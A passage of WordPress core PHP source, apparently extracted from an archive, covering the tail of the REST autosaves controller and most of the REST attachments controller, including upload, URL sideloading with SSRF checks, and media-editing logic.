autosave as a special post revision. $revision_id = _wp_put_post_revision( $post_data, true ); } if ( is_wp_error( $revision_id ) || 0 === $revision_id ) { return $revision_id; } // Attached any passed meta values that have revisions enabled. if ( ! empty( $meta ) ) { foreach ( $revisioned_meta_keys as $meta_key ) { if ( isset( $meta[ $meta_key ] ) ) { update_metadata( 'post', $revision_id, $meta_key, wp_slash( $meta[ $meta_key ] ) ); } } } return $revision_id; } /** * Prepares the revision for the REST response. * * @since 5.0.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php */ return apply_filters( 'rest_prepare_autosave', new WP_REST_Response( array() ), $post, $request ); } $response = $this->revisions_controller->prepare_item_for_response( $post, $request ); $fields = $this->get_fields_for_response( $request ); if ( in_array( 'preview_link', $fields, true ) ) { $parent_id = wp_is_post_autosave( $post ); $preview_post_id = false === $parent_id ? $post->ID : $parent_id; $preview_query_args = array(); if ( false !== $parent_id ) { $preview_query_args['preview_id'] = $parent_id; $preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id ); } $response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $response->data = $this->add_additional_fields_to_object( $response->data, $request ); $response->data = $this->filter_response_by_context( $response->data, $context ); /** * Filters a revision returned from the REST API. * * Allows modification of the revision right before it is returned. * * @since 5.0.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original revision object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_autosave', $response, $post, $request ); } /** * Retrieves the query params for the autosaves collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } class-wp-rest-attachments-controller.php000064400000345650152506367270014505 0ustar00, * width?: positive-int, * height?: positive-int, * file?: non-empty-string, * mime_type?: non-empty-string, * filesize?: positive-int, * original_image?: non-empty-string, * } */ class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller { /** * Whether the controller supports batching. * * @since 5.9.0 * @var false */ protected $allow_batch = false; /** * Image size token for the source-format original preserved alongside a * client-generated derivative (e.g. the HEIC file kept next to its JPEG). * * Used both in the `/sideload` route schema and when dispatching the * sideloaded file to its metadata key, so the two never drift apart. * * @since 7.1.0 * @var string */ const IMAGE_SIZE_SOURCE_ORIGINAL = 'source_original'; /** * Metadata key holding the basename of the source-format original. * * Deliberately specific so it never collides with the generic `original` * or `original_image` keys other flows write to. * * @since 7.1.0 * @var string */ const META_KEY_SOURCE_IMAGE = 'source_image'; /** * Post meta key recording the file names produced by the sideload endpoint. * * Each successful sideload appends the file name(s) it created for an * attachment under this key. The finalize endpoint reads them back to * confirm every stored sub-size was actually produced here, rather than * trusting a client-supplied name that could point at another attachment's * files. Stored as one row per value (via {@see add_post_meta()}) so concurrent * sideloads never read-modify-write a shared value. * * @since 7.1.0 * @var string */ const META_KEY_SIDELOAD_FILE_NAME = '_wp_sideloaded_file'; /** * Registers the routes for attachments. * * @since 5.3.0 * * @see register_rest_route() */ public function register_routes() { parent::register_routes(); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/post-process', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'post_process_item' ), 'permission_callback' => array( $this, 'post_process_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the attachment.' ), 'type' => 'integer', ), 'action' => array( 'type' => 'string', 'enum' => array( 'create-image-subsizes' ), 'required' => true, ), ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/edit', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'edit_media_item' ), 'permission_callback' => array( $this, 'edit_media_item_permissions_check' ), 'args' => $this->get_edit_media_item_args(), ) ); if ( wp_is_client_side_media_processing_enabled() ) { register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/sideload', array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'sideload_item' ), 'permission_callback' => array( $this, 'sideload_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the attachment.' ), 'type' => 'integer', ), 'image_size' => array( 'description' => __( 'Image size. Can be a single size name or an array of size names to register the same file under multiple sizes.' ), 'type' => array( 'string', 'array' ), 'items' => array( 'type' => 'string', 'minLength' => 1, ), 'minItems' => 1, 'minLength' => 1, 'required' => true, /* * A custom callback is used instead of the default enum validation * because rest_is_array() treats scalar strings as single-element * lists (via wp_parse_list()), so a [ 'string', 'array' ] type alone * cannot enforce the enum. The callback validates each item against * the current list of registered sizes, which reflects sizes added * after route registration (e.g. via add_image_size()). */ 'validate_callback' => static function ( $value, WP_REST_Request $request, string $param ) { /* * Providing a custom callback replaces the default schema * validation, so apply the declared schema (type, minLength, * minItems) before the enum check below. */ $schema_validity = rest_validate_request_arg( $value, $request, $param ); if ( is_wp_error( $schema_validity ) ) { return $schema_validity; } return self::validate_image_size_names( $value, $param ); }, ), 'convert_format' => array( 'type' => 'boolean', 'default' => true, 'description' => __( 'Whether to convert image formats.' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/finalize', array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'finalize_item' ), 'permission_callback' => array( $this, 'edit_media_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the attachment.' ), 'type' => 'integer', ), 'sub_sizes' => array( 'description' => __( 'Array of sub-size metadata collected from sideload responses.' ), 'type' => 'array', 'default' => array(), /* * A finalize request sends one entry per sideloaded sub-size, so * the ceiling only needs to clear the number of sizes a site can * register. Bounding it keeps a request from repeating a name * across an arbitrary number of entries. */ 'maxItems' => 100, /* * As on the sideload endpoint, the size names are checked in a * callback rather than an enum, so the set reflects the sizes * registered when the request runs. The callback sits on * sub_sizes because a nested property cannot carry one. */ 'validate_callback' => static function ( $value, WP_REST_Request $request, string $param ) { /* * Providing a custom callback replaces the default schema * validation, so apply the declared schema first. That is what * guarantees each entry is an object carrying an image_size of * the declared type. */ $schema_validity = rest_validate_request_arg( $value, $request, $param ); if ( is_wp_error( $schema_validity ) ) { return $schema_validity; } foreach ( (array) $value as $index => $sub_size ) { $sub_size = (array) $sub_size; $validity = self::validate_image_size_names( $sub_size['image_size'] ?? null, sprintf( '%s[%s][image_size]', $param, $index ) ); if ( is_wp_error( $validity ) ) { return $validity; } } return true; }, 'items' => array( 'type' => 'object', 'properties' => array( 'image_size' => array( 'description' => __( 'Size name, or an array of size names when a single file is registered under multiple sizes with matching dimensions.' ), 'type' => array( 'string', 'array' ), 'items' => array( 'type' => 'string', 'minLength' => 1, ), 'minItems' => 1, 'minLength' => 1, 'required' => true, ), 'width' => array( 'type' => 'integer', 'minimum' => 1, ), 'height' => array( 'type' => 'integer', 'minimum' => 1, ), 'file' => array( 'type' => 'string', 'minLength' => 1, ), 'mime_type' => array( 'type' => 'string', 'pattern' => '^image/.*', ), 'filesize' => array( 'type' => 'integer', 'minimum' => 1, ), 'original_image' => array( 'type' => 'string', 'minLength' => 1, ), ), ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } } /** * Retrieves the query params for the attachments collection. * * @since 7.1.0 * * @param string $method Optional. HTTP method of the request. * The arguments for `CREATABLE` requests are * checked for required values and may fall-back to a given default. * Default WP_REST_Server::CREATABLE. * @return array> Endpoint arguments. */ public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) { $args = parent::get_endpoint_args_for_item_schema( $method ); if ( WP_REST_Server::CREATABLE !== $method ) { return $args; } $args['generate_sub_sizes'] = array( 'type' => 'boolean', 'default' => true, 'description' => __( 'Whether to generate image sub sizes.' ), ); $args['convert_format'] = array( 'type' => 'boolean', 'default' => true, 'description' => __( 'Whether to convert image formats.' ), ); $args['url'] = array( 'type' => 'string', 'format' => 'uri', 'description' => __( 'URL of an external image to sideload into the media library, instead of uploading a file.' ), 'sanitize_callback' => 'sanitize_url', 'validate_callback' => static function ( $url, $request, $param ) { /* * A custom validate_callback replaces the default * rest_validate_request_arg(), so re-apply it first to keep * the schema checks (string type, uri format) enforced. */ $valid = rest_validate_request_arg( $url, $request, $param ); if ( is_wp_error( $valid ) ) { return $valid; } /* * Reject URLs that are not safe to request server-side. wp_http_validate_url() * enforces an HTTP(S) scheme and blocks private, local, and otherwise * disallowed hosts, guarding the sideload against SSRF. */ if ( false === wp_http_validate_url( $url ) ) { return new WP_Error( 'rest_invalid_url', __( 'Invalid URL. Provide a valid, publicly reachable HTTP or HTTPS image URL.' ), array( 'status' => 400 ) ); } return true; }, ); return $args; } /** * Determines the allowed query_vars for a get_items() response and * prepares for WP_Query. * * @since 4.7.0 * @since 6.9.0 Extends the `media_type` and `mime_type` request arguments to support array values. * * @param array $prepared_args Optional. Array of prepared arguments. Default empty array. * @param WP_REST_Request $request Optional. Request to prepare items for. * @return array Array of query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = parent::prepare_items_query( $prepared_args, $request ); if ( empty( $query_args['post_status'] ) ) { $query_args['post_status'] = 'inherit'; } $all_mime_types = array(); $media_types = $this->get_media_types(); if ( ! empty( $request['media_type'] ) && is_array( $request['media_type'] ) ) { foreach ( $request['media_type'] as $type ) { if ( isset( $media_types[ $type ] ) ) { $all_mime_types = array_merge( $all_mime_types, $media_types[ $type ] ); } } } if ( ! empty( $request['mime_type'] ) && is_array( $request['mime_type'] ) ) { foreach ( $request['mime_type'] as $mime_type ) { $parts = explode( '/', $mime_type ); if ( isset( $media_types[ $parts[0] ] ) && in_array( $mime_type, $media_types[ $parts[0] ], true ) ) { $all_mime_types[] = $mime_type; } } } if ( ! empty( $all_mime_types ) ) { $query_args['post_mime_type'] = array_values( array_unique( $all_mime_types ) ); } // Filter query clauses to include filenames. if ( isset( $query_args['s'] ) ) { add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' ); } return $query_args; } /** * Checks if a given request has access to create an attachment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error Boolean true if the attachment may be created, or a WP_Error if not. */ public function create_item_permissions_check( $request ) { $ret = parent::create_item_permissions_check( $request ); if ( ! $ret || is_wp_error( $ret ) ) { return $ret; } if ( ! current_user_can( 'upload_files' ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => 400 ) ); } // Attaching media to a post requires ability to edit said post. if ( ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to upload media to this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $files = $request->get_file_params(); /** * Filter whether the server should prevent uploads for image types it doesn't support. Default true. * * Developers can use this filter to enable uploads of certain image types. By default image types that are not * supported by the server are prevented from being uploaded. * * @since 6.8.0 * * @param bool $check_mime Whether to prevent uploads of unsupported image types. * @param string|null $mime_type The mime type of the file being uploaded (if available). */ $prevent_unsupported_uploads = apply_filters( 'wp_prevent_unsupported_mime_type_uploads', true, $files['file']['type'] ?? null ); /* * When the client handles image processing (generate_sub_sizes is false), * skip the server-side image editor support check. This check exists * because the server cannot process the image, so it is only relaxed when * client side media processing is enabled and something else can. Asking * to skip sub sizes on a site without it does not make an unsupported * image type any more usable. */ if ( wp_is_client_side_media_processing_enabled() && false === $request['generate_sub_sizes'] ) { $prevent_unsupported_uploads = false; } /* * Always allow still HEIC/HEIF uploads through even if the server's * image editor doesn't support them. The client-side canvas fallback * handles processing using the browser's native HEVC decoder. * * The '-sequence' variants (multi-frame Live Photos) are deliberately * excluded: neither the server nor the browser fallback can process * them yet, so they should fall through to the standard unsupported * mime-type error rather than be stored unprocessable. */ $still_heic_mime_types = array( 'image/heic', 'image/heif' ); if ( $prevent_unsupported_uploads && ! empty( $files['file']['type'] ) && in_array( $files['file']['type'], $still_heic_mime_types, true ) ) { $prevent_unsupported_uploads = false; } // If the upload is an image, check if the server can handle the mime type. if ( $prevent_unsupported_uploads && isset( $files['file']['type'] ) && str_starts_with( $files['file']['type'], 'image/' ) ) { // List of non-resizable image formats. $editor_non_resizable_formats = array( 'image/svg+xml', ); // Check if the image editor supports the type or ignore if it isn't a format resizable by an editor. if ( ! in_array( $files['file']['type'], $editor_non_resizable_formats, true ) && ! wp_image_editor_supports( array( 'mime_type' => $files['file']['type'] ) ) ) { return new WP_Error( 'rest_upload_image_type_not_supported', __( 'The web server cannot generate responsive image sizes for this image. Convert it to JPEG or PNG before uploading.' ), array( 'status' => 400 ) ); } } return true; } /** * Creates a single attachment. * * @since 4.7.0 * @since 7.1.0 Added the `generate_sub_sizes`, `convert_format`, and `url` parameters. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) { return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) ); } // Handle generate_sub_sizes parameter. if ( false === $request['generate_sub_sizes'] ) { add_filter( 'intermediate_image_sizes_advanced', '__return_empty_array', 100 ); add_filter( 'fallback_intermediate_image_sizes', '__return_empty_array', 100 ); // Disable server-side EXIF rotation so the client can handle it. // This preserves the original orientation value in the metadata. add_filter( 'wp_image_maybe_exif_rotate', '__return_false', 100 ); // Disable server-side "big image" downscaling; the client supplies its // own scaled version via the sideload endpoint. Scaling here would // create a conflicting "-scaled" file and orphan the full-size upload. add_filter( 'big_image_size_threshold', '__return_false', 100 ); } // Handle convert_format parameter. if ( false === $request['convert_format'] ) { add_filter( 'image_editor_output_format', '__return_empty_array', 100 ); } /* * When a URL is supplied instead of an uploaded file, sideload the * remote image on the server. This avoids a cross-origin browser fetch, * which fails under cross-origin isolation. The sub-size and scaling * filters applied above still govern whether derivatives are generated. */ if ( ! empty( $request['url'] ) ) { $response = $this->create_item_from_url( $request ); $this->remove_client_side_media_processing_filters(); return $response; } $insert = $this->insert_attachment( $request ); if ( is_wp_error( $insert ) ) { $this->remove_client_side_media_processing_filters(); return $insert; } $schema = $this->get_item_schema(); // Extract by name. $attachment_id = $insert['attachment_id']; $file = $insert['file']; if ( isset( $request['alt_text'] ) ) { update_post_meta( $attachment_id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) ); } if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment_id ); if ( is_wp_error( $thumbnail_update ) ) { $this->remove_client_side_media_processing_filters(); return $thumbnail_update; } } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $attachment_id ); if ( is_wp_error( $meta_update ) ) { $this->remove_client_side_media_processing_filters(); return $meta_update; } } $attachment = get_post( $attachment_id ); $fields_update = $this->update_additional_fields_for_object( $attachment, $request ); if ( is_wp_error( $fields_update ) ) { $this->remove_client_side_media_processing_filters(); return $fields_update; } $terms_update = $this->handle_terms( $attachment_id, $request ); if ( is_wp_error( $terms_update ) ) { $this->remove_client_side_media_processing_filters(); return $terms_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single attachment is completely created or updated via the REST API. * * @since 5.0.0 * * @param WP_Post $attachment Inserted or updated attachment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating an attachment, false when updating. */ do_action( 'rest_after_insert_attachment', $attachment, $request, true ); wp_after_insert_post( $attachment, false, null ); if ( wp_is_serving_rest_request() ) { /* * Set a custom header with the attachment_id. * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error. */ header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id ); } // Include media and image functions to get access to wp_generate_attachment_metadata(). require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; /* * Post-process the upload (create image sub-sizes, make PDF thumbnails, etc.) and insert attachment meta. * At this point the server may run out of resources and post-processing of uploaded images may fail. */ wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) ); $this->remove_client_side_media_processing_filters(); $response = $this->prepare_item_for_response( $attachment, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $attachment_id ) ) ); return $response; } /** * Sideloads an external image from a URL into the media library. * * Downloads the remote file on the server, avoiding a cross-origin browser * fetch that fails under cross-origin isolation. Whether sub-sizes are * generated is governed by the filters applied in create_item(). * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ protected function create_item_from_url( WP_REST_Request $request ) { // Sideloading downloads and stores a file, so require the upload capability. if ( ! current_user_can( 'upload_files' ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; $url = $request['url']; $post_id = ! empty( $request['post'] ) ? (int) $request['post'] : 0; // Derive the filename from the URL path before downloading anything. $url_path = wp_parse_url( $url, PHP_URL_PATH ); $filename = $url_path ? wp_basename( $url_path ) : ''; if ( '' === $filename ) { return new WP_Error( 'rest_invalid_url', __( 'Could not determine a filename from the provided URL.' ), array( 'status' => 400 ) ); } /* * Only download URLs whose extension maps to an allowed image MIME type. * The sideload handler would reject other types anyway (via * wp_check_filetype_and_ext()), but checking first avoids downloading * files that can never be accepted, such as PHP scripts. */ $filetype = wp_check_filetype( $filename ); if ( ! $filetype['type'] || ! str_starts_with( $filetype['type'], 'image/' ) ) { return new WP_Error( 'rest_invalid_url', __( 'The provided URL does not point to a supported image file.' ), array( 'status' => 400 ) ); } /* * Cap the download at the same size the site would accept as a direct * upload. check_upload_size() only applies on multisite, so without a * ceiling here a single site has no limit at all on this path: the * `upload_max_filesize` and `post_max_size` directives bound a request * body, not a fetch the server makes itself. * * When `wp_max_upload_size` returns 0, no ceiling is applied. */ $max_size = (int) wp_max_upload_size(); /* * Download the remote file with WordPress's HTTP API, which validates * the host and blocks requests to private or local addresses. This is * the same primitive core's media_sideload_image() relies on. * * `limit_response_size` stops the transfer once the limit is passed, * so an oversized remote file is never written to disk in full. One * byte over the ceiling is enough to fail the size check below. */ $limit_response_size = static function ( $args ) use ( $max_size ) { $args['limit_response_size'] = $max_size + 1; return $args; }; if ( $max_size > 0 ) { add_filter( 'http_request_args', $limit_response_size ); } $tmp_file = download_url( $url ); if ( $max_size > 0 ) { remove_filter( 'http_request_args', $limit_response_size ); } if ( is_wp_error( $tmp_file ) ) { return $tmp_file; } $file_array = array( 'name' => $filename, 'tmp_name' => $tmp_file, ); $size_check = self::check_upload_size( $file_array ); if ( is_wp_error( $size_check ) ) { if ( file_exists( $tmp_file ) ) { wp_delete_file( $tmp_file ); } return $size_check; } if ( $max_size > 0 && wp_filesize( $tmp_file ) > $max_size ) { if ( file_exists( $tmp_file ) ) { wp_delete_file( $tmp_file ); } return new WP_Error( 'rest_upload_file_too_big', /* translators: %s: Maximum allowed file size in kilobytes. */ sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), number_format( $max_size / KB_IN_BYTES ) ), array( 'status' => 400 ) ); } $attachment_id = media_handle_sideload( $file_array, $post_id ); if ( is_wp_error( $attachment_id ) ) { /* * media_handle_sideload() deletes the temp file on success; remove * it explicitly when the sideload fails. */ if ( file_exists( $tmp_file ) ) { wp_delete_file( $tmp_file ); } return $attachment_id; } $attachment = get_post( $attachment_id ); $request->set_param( 'context', 'edit' ); /* * media_handle_sideload() fires the standard insert hooks (including * wp_after_insert_post), but not the REST-specific action, so fire it * here for parity with the uploaded-file path in create_item(). */ /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */ do_action( 'rest_after_insert_attachment', $attachment, $request, true ); $response = $this->prepare_item_for_response( $attachment, $request ); $response->set_status( 201 ); $response->header( 'Location', rest_url( rest_get_route_for_post( $attachment_id ) ) ); return $response; } /** * Removes filters added for client-side media processing. * * @since 7.1.0 */ private function remove_client_side_media_processing_filters(): void { remove_filter( 'intermediate_image_sizes_advanced', '__return_empty_array', 100 ); remove_filter( 'fallback_intermediate_image_sizes', '__return_empty_array', 100 ); remove_filter( 'wp_image_maybe_exif_rotate', '__return_false', 100 ); remove_filter( 'image_editor_output_format', '__return_empty_array', 100 ); remove_filter( 'big_image_size_threshold', '__return_false', 100 ); } /** * Inserts the attachment post in the database. Does not update the attachment meta. * * @since 5.3.0 * * @param WP_REST_Request $request * @return array|WP_Error */ protected function insert_attachment( $request ) { // Get the file via $_FILES or raw data. $files = $request->get_file_params(); $headers = $request->get_headers(); $time = null; // Matches logic in media_handle_upload(). if ( ! empty( $request['post'] ) ) { $post = get_post( $request['post'] ); // The post date doesn't usually matter for pages, so don't backdate this upload. if ( $post && 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) { $time = $post->post_date; } } if ( ! empty( $files ) ) { $file = $this->upload_from_file( $files, $headers, $time ); } else { $file = $this->upload_from_data( $request->get_body(), $headers, $time ); } if ( is_wp_error( $file ) ) { return $file; } $name = wp_basename( $file['file'] ); $name_parts = pathinfo( $name ); $name = trim( substr( $name, 0, -( 1 + strlen( $name_parts['extension'] ) ) ) ); $url = $file['url']; $type = $file['type']; $file = $file['file']; $alt = ''; // Include image functions to get access to wp_read_image_metadata(). require_once ABSPATH . 'wp-admin/includes/image.php'; // Use image exif/iptc data for title and caption defaults if possible. $image_meta = wp_read_image_metadata( $file ); if ( ! empty( $image_meta ) ) { if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) { $request['title'] = $image_meta['title']; } if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) { $request['caption'] = $image_meta['caption']; } if ( empty( $request['alt'] ) && trim( $image_meta['alt'] ) ) { $alt = $image_meta['alt']; } } $attachment = $this->prepare_item_for_database( $request ); $attachment->post_mime_type = $type; $attachment->guid = $url; // If the title was not set, use the original filename. if ( empty( $attachment->post_title ) && ! empty( $files['file']['name'] ) ) { // Remove the file extension (after the last `.`) $tmp_title = substr( $files['file']['name'], 0, strrpos( $files['file']['name'], '.' ) ); if ( ! empty( $tmp_title ) ) { $attachment->post_title = $tmp_title; } } // Fall back to the original approach. if ( empty( $attachment->post_title ) ) { $attachment->post_title = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) ); } // $post_parent is inherited from $attachment['post_parent']. $id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true, false ); if ( trim( $alt ) ) { update_post_meta( $id, '_wp_attachment_image_alt', sanitize_text_field( $alt ) ); } if ( is_wp_error( $id ) ) { if ( 'db_update_error' === $id->get_error_code() ) { $id->add_data( array( 'status' => 500 ) ); } else { $id->add_data( array( 'status' => 400 ) ); } return $id; } $attachment = get_post( $id ); /** * Fires after a single attachment is created or updated via the REST API. * * @since 4.7.0 * * @param WP_Post $attachment Inserted or updated attachment object. * @param WP_REST_Request $request The request sent to the API. * @param bool $creating True when creating an attachment, false when updating. */ do_action( 'rest_insert_attachment', $attachment, $request, true ); return array( 'attachment_id' => $id, 'file' => $file, ); } /** * Determines the featured media based on a request param. * * @since 6.5.0 * * @param int $featured_media Featured Media ID. * @param int $post_id Post ID. * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error. */ protected function handle_featured_media( $featured_media, $post_id ) { $post_type = get_post_type( $post_id ); $thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' ); // Similar check as in wp_insert_post(). if ( ! $thumbnail_support && get_post_mime_type( $post_id ) ) { if ( wp_attachment_is( 'audio', $post_id ) ) { $thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' ); } elseif ( wp_attachment_is( 'video', $post_id ) ) { $thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' ); } } if ( $thumbnail_support ) { return parent::handle_featured_media( $featured_media, $post_id ); } return new WP_Error( 'rest_no_featured_media', sprintf( /* translators: %s: attachment mime type */ __( 'This site does not support post thumbnails on attachments with MIME type %s.' ), get_post_mime_type( $post_id ) ), array( 'status' => 400 ) ); } /** * Updates a single attachment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function update_item( $request ) { if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) { return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) ); } $attachment_before = get_post( $request['id'] ); $response = parent::update_item( $request ); if ( is_wp_error( $response ) ) { return $response; } $response = rest_ensure_response( $response ); $data = $response->get_data(); if ( isset( $request['alt_text'] ) ) { update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] ); } $attachment = get_post( $request['id'] ); if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment->ID ); if ( is_wp_error( $thumbnail_update ) ) { return $thumbnail_update; } } $fields_update = $this->update_additional_fields_for_object( $attachment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */ do_action( 'rest_after_insert_attachment', $attachment, $request, false ); wp_after_insert_post( $attachment, true, $attachment_before ); $response = $this->prepare_item_for_response( $attachment, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Performs post-processing on an attachment. * * @since 5.3.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function post_process_item( $request ) { switch ( $request['action'] ) { case 'create-image-subsizes': require_once ABSPATH . 'wp-admin/includes/image.php'; wp_update_image_subsizes( $request['id'] ); break; } $request['context'] = 'edit'; return $this->prepare_item_for_response( get_post( $request['id'] ), $request ); } /** * Checks if a given request can perform post-processing on an attachment. * * @since 5.3.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function post_process_item_permissions_check( $request ) { return $this->update_item_permissions_check( $request ); } /** * Checks if a given request has access to editing media. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function edit_media_item_permissions_check( $request ) { if ( ! current_user_can( 'upload_files' ) ) { return new WP_Error( 'rest_cannot_edit_image', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return $this->update_item_permissions_check( $request ); } /** * Applies edits to a media item and creates a new attachment record. * * @since 5.5.0 * @since 6.9.0 Adds flips capability and editable fields for the newly-created attachment post. * @since 7.1.0 Applies EXIF orientation correction before image modifications. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function edit_media_item( $request ) { require_once ABSPATH . 'wp-admin/includes/image.php'; $attachment_id = $request['id']; // This also confirms the attachment is an image. $image_file = wp_get_original_image_path( $attachment_id ); $image_meta = wp_get_attachment_metadata( $attachment_id ); if ( ! $image_meta || ! $image_file || ! wp_image_file_matches_image_meta( $request['src'], $image_meta, $attachment_id ) ) { return new WP_Error( 'rest_unknown_attachment', __( 'Unable to get meta information for file.' ), array( 'status' => 404 ) ); } $supported_types = array( 'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'image/avif', 'image/heic' ); $mime_type = get_post_mime_type( $attachment_id ); if ( ! in_array( $mime_type, $supported_types, true ) ) { return new WP_Error( 'rest_cannot_edit_file_type', __( 'This type of file cannot be edited.' ), array( 'status' => 400 ) ); } // The `modifiers` param takes precedence over the older format. if ( isset( $request['modifiers'] ) ) { $modifiers = $request['modifiers']; } else { $modifiers = array(); if ( isset( $request['flip']['horizontal'] ) || isset( $request['flip']['vertical'] ) ) { $flip_args = array( 'vertical' => isset( $request['flip']['vertical'] ) ? (bool) $request['flip']['vertical'] : false, 'horizontal' => isset( $request['flip']['horizontal'] ) ? (bool) $request['flip']['horizontal'] : false, ); $modifiers[] = array( 'type' => 'flip', 'args' => array( 'flip' => $flip_args, ), ); } if ( ! empty( $request['rotation'] ) ) { $modifiers[] = array( 'type' => 'rotate', 'args' => array( 'angle' => $request['rotation'], ), ); } if ( isset( $request['x'], $request['y'], $request['width'], $request['height'] ) ) { $modifiers[] = array( 'type' => 'crop', 'args' => array( 'left' => $request['x'], 'top' => $request['y'], 'width' => $request['width'], 'height' => $request['height'], ), ); } if ( 0 === count( $modifiers ) ) { return new WP_Error( 'rest_image_not_edited', __( 'The image was not edited. Edit the image before applying the changes.' ), array( 'status' => 400 ) ); } } /* * If the file doesn't exist, attempt a URL fopen on the src link. * This can occur with certain file replication plugins. * Keep the original file path to 